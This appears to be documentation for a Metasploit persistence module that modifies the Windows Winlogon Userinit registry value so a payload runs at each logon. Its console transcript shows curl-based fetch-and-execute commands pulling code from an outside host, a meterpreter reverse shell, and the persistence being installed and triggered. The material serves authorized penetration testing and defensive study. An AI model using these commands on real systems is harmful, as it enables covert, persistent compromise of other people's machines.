## Vulnerable Application

This module will install a payload that is executed during user logon.
It writes a payload executable to disk and modifies the Userinit registry value
in "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" to append the
payload path, causing it to execute when any user logs in.

## Verification Steps

1. Start msfconsole
2. Obtain an administrator level meterpreter on Windows
3. Do: `use modules/exploits/windows/persistence/registry_userinit`
4. Do: `set session #`
5. Do: `run`
6. On next user login, You should get a shell.

## Options

### PAYLOAD_NAME

Name of payload file to write. Random string as default.

## Scenarios

### Windows 10 1909 (10.0 Build 18363)

Initial admin shell

```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4450
lport => 4450
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
FETCH_URIPATH => w3
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
FETCH_FILENAME => mkaKJBzbDB
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe

[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
[*] Adding resource /w3
[*] Started reverse TCP handler on 1.1.1.1:4450 
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > 
[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49747) at 2026-01-03 16:20:11 -0500

msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer        : WIN10PROLICENSE
OS              : Windows 10 1909 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > background
[*] Backgrounding session 1...
```

Install persistence

```
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/registry_userinit 
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(windows/persistence/registry_userinit) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/registry_userinit) > set session 1
session => 1
msf exploit(windows/persistence/registry_userinit) > exploit
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 1.1.1.1:4444 
msf exploit(windows/persistence/registry_userinit) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Registry likely exploitable
[+] Writing payload to C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe
[*] Updating 'C:\Windows\system32\userinit.exe,' to 'C:\Windows\system32\userinit.exe,C:\Users\windows\AppData\Local\Temp\UASEQXKrCsOUN.exe'
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260103.2052/WIN10PROLICENSE_20260103.2052.rc
```

Logout, and log back in to trigger payload execution

```
[*] 2.2.2.2 - Meterpreter session 1 closed.  Reason: Died
[*] Sending stage (188998 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49749) at 2026-01-03 16:21:15 -0500

msf exploit(windows/persistence/registry_userinit) > 
```